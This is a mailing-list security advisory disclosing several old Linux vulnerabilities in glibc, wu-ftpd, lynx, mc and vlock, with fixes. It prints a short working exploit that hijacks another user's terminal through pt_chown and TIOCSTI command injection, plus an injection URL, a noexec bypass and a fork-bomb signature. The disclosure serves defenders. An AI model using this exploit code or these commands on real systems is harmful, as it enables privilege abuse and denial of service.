Subject: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x To: BUGTRAQ@SECURITYFOCUS.COM First of all, something less or more personal - sorry to all secure@...pl people for this post. I'm really angry, as this stuff become well-known without my knowledge... so, only a few of my own observations, always trying to respect other's intellectual property. All the best goes to el- :P ---------------------------------------------- glibc 2.1.x and Linux without devpts mechanism ---------------------------------------------- Compromise: locally, privledges of any user (including superuser) running programs without devpts support compiled in after glibc upgrade (like screen, mc etc). Solution: chmod 700 /usr/libexec/pt_chown There's a bug in pt_chown suid helper program, supplied with glibc 2.1.x (tested on default RH 6.0 distro). This program is designed to allow proper allocation of pseudo-terminals for non-suid programs in systems with glibc 2.1.x installed, but without devpts support compiled into every program (it's enough to have, let's say, screen which uses traditional /dev/ptyXX and /dev/ttyXX scheme). Due to lack of security checks, pt_chown can be easily fooled to gain full control over other user's (root as well) pseudo-terminal, as allocated by screen, Midnight Commander, or virtually any other program. All we need is an open descriptor to /dev/ttyXX (in read or write mode, no matter) - while login uses secure permissions, ttys allocated by eg. screen are 622 by default, so we could gain write access. Then, we have to call pt_chown in a proper way to gain ownership of this device, and put anything we want to the input stream of process controlling this pty using TIOCSTI ioctl()... Automated exploit code is attached (potfory.c). Sorry for polish comments, should be readable anyway? If not, there's 'primal' exploit for this hole: -- simpliest.c -- int main(int a,char* b[]) { char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n"; int i=0,x=open(b[1],1); // Expect writable, allocated // (eg. by screen) /dev/ttyXX as 1st arg if (x<0) { perror(b[1]); exit(1); } if (!fork()) { dup2(x,3); execl("/usr/libexec/pt_chown","pt_chown",0); perror("pt_chown"); exit(1); } sleep(1); for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]); } -- eof -- ---------------------------- wu-ftpd 2.5, VR and BeroFTPD ---------------------------- Compromise: remote root Solution: add strlen() check somewhere There's an overflow in wu-ftpd 2.5 and prior releases (including VR and BeroFTPD) in mapped_path when mapping current working directory to command-line. While I discovered this vunerability by myself, I don't want to provide exploit code, as all other, hard work has been done independently by someone else. Instead of that, there's a .diff file with patch, attached somewhere as ftpd.diff. ------------------ lynx and telnet:// ------------------ Compromise: remote messing with files, maybe more? Lynx has a problem coming from calling external programs to handle protocols like telnet://. Example: attempt of viewing 'telnet://-n.rhosts' URL will result in empty, new and shiny .rhosts file. Unfortunately, as telnet client has session logging off by default, no idea how to put something there? ------------------ mc, ftp:// and $() ------------------ Compromise: remote/local user's privledges Midnight Commander ftp client has an overflow while reading server responses - long enough message will result in beautiful overflow. Enjoy. Also, mc seems to have serious problems with directories containing shell commands enclosed in $(...) construction. Bad. -------- vlock -a -------- Compromise: locally, unlocking VCs switching under certain conditions When 'vlock -a' is called, console switching is completely disabled using ioctl() call on /dev/ttyX device. Under certain conditions, this protection can be fooled. Let's imagine following situation: user X is logged on tty6 - oh, abbandoned session ;) while root is playing on other consoles. After some time, he/she issued 'vlock -a' and gone somewhere. But, if user X is still logged on any console, and he's able to login once more, remotelly, he could open /dev/tty6 (in our example, as it's owned by him), then... use ioctl() (as it's not restricted to superusers!!!) to enable console switching. ------------------------------ glibc 2.0.x and LC_ALL, noexec ------------------------------ Compromise: locally, doing thins you shouldn't be able to do ;) First of all - doing /lib/ld-linux.so.2 /program/on/noexec/partition is the simpliest way to bypass noexec option, if only you have glibc 2.0.x. Nothing to say, security by obscurity stinks. Clean glibc 2.0.x, as distributed in .tar.gz, are vunerable to rather seriuos problem with LC_ALL containing '../' tricks (just like in telnetd and TERM case). In fact, in some Linux distributions, it has been silently fixed, while people upgrading glibc to eg. 2.0.7 'from scratch' are not aware of this problem, and many sites are vunerable. Using prepared directory with locale specifications, including glibc error messages used eg. by perror(), luser will be able to for example read setuid programs memory, etc. _______________________________________________________________________ Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM] [Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};: [voice phone: +48 (0) 22 813 25 86] ? [cellular phone: (0) 501 4000 69] Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] potfory.c ftpd.diff